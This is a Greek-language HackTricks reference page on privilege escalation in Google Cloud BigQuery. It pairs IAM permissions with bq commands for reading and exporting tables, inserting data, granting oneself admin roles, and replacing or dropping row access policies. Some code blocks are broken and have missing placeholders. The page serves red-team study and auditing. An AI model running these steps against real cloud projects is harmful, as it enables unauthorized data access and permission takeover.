GCP - BigQuery Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

BigQuery

Για περισσότερες πληροφορίες σχετικά με το BigQuery δείτε:

GCP - Bigquery Enum

Ανάγνωση πίνακα BigQuery

Ανάγνωση των πληροφοριών που είναι αποθηκευμένες σε έναν πίνακα BigQuery μπορεί να αποκαλύψει ευαίσθητες πληροφορίες. Για πρόσβαση σε αυτές απαιτούνται τα δικαιώματα bigquery.tables.get, bigquery.jobs.create και bigquery.tables.getData:

Ανάγνωση δεδομένων πίνακα BigQuery ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Εξαγωγή δεδομένων

Αυτός είναι ένας άλλος τρόπος για να αποκτήσετε πρόσβαση στα δεδομένα. Εξάγετέ το σε ένα bucket του Cloud Storage και κατεβάστε τα αρχεία με τις πληροφορίες.
Για να εκτελεστεί αυτή η ενέργεια απαιτούνται τα ακόλουθα δικαιώματα: bigquery.tables.export, bigquery.jobs.create και storage.objects.create.

Εξαγωγή πίνακα BigQuery σε Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Εισαγωγή δεδομένων

Ίσως είναι δυνατό να εισαχθούν ορισμένα αξιόπιστα δεδομένα σε έναν πίνακα Bigquery για να εκμεταλλευτεί μια ευπάθεια σε κάποιο άλλο μέρος. Αυτό μπορεί να γίνει εύκολα με τα δικαιώματα bigquery.tables.get , bigquery.tables.updateData και bigquery.jobs.create:

Εισαγωγή δεδομένων σε πίνακα BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό το προνόμιο για να **δώσει στον εαυτό του επιπλέον δικαιώματα** πάνω σε ένα BigQuery dataset:

<details>
<summary>Ορισμός IAM policy σε BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Μόνη αυτή η άδεια επιτρέπει να ενημερώσεις την πρόσβασή σου σε ένα BigQuery dataset τροποποιώντας τα ACLs που υποδεικνύουν ποιος μπορεί να αποκτήσει πρόσβαση σε αυτό:

Ενημέρωση ACLs σε dataset του BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

Ένας attacker θα μπορούσε να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε έναν πίνακα BigQuery:

Set IAM policy on BigQuery table ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Σύμφωνα με την τεκμηρίωση, με τα αναφερόμενα δικαιώματα είναι δυνατό να **ενημερώσετε μια πολιτική πρόσβασης γραμμής.**\
Ωστόσο, **χρησιμοποιώντας το cli `bq`** χρειάζεστε κάποια επιπλέον: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Δημιουργία ή αντικατάσταση πολιτικής πρόσβασης γραμμής</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Είναι δυνατό να βρεθεί το filter ID στην έξοδο της απαρίθμησης των row policies. Παράδειγμα:

List row access policies ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time


apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

Αν έχετε **`bigquery.rowAccessPolicies.delete`** αντί για `bigquery.rowAccessPolicies.update`, μπορείτε επίσης απλώς να διαγράψετε την πολιτική:

<details>
<summary>Διαγραφή πολιτικών πρόσβασης γραμμών</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Μια άλλη πιθανή επιλογή για να παρακαμφθούν οι πολιτικές πρόσβασης σειρών θα ήταν απλώς να αλλάξετε την τιμή των περιορισμένων δεδομένων. Αν μπορείτε να βλέπετε μόνο όταν term είναι Cfba, απλώς τροποποιήστε όλες τις εγγραφές του πίνακα ώστε να έχουν term = "Cfba". Ωστόσο αυτό αποτρέπεται από bigquery.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks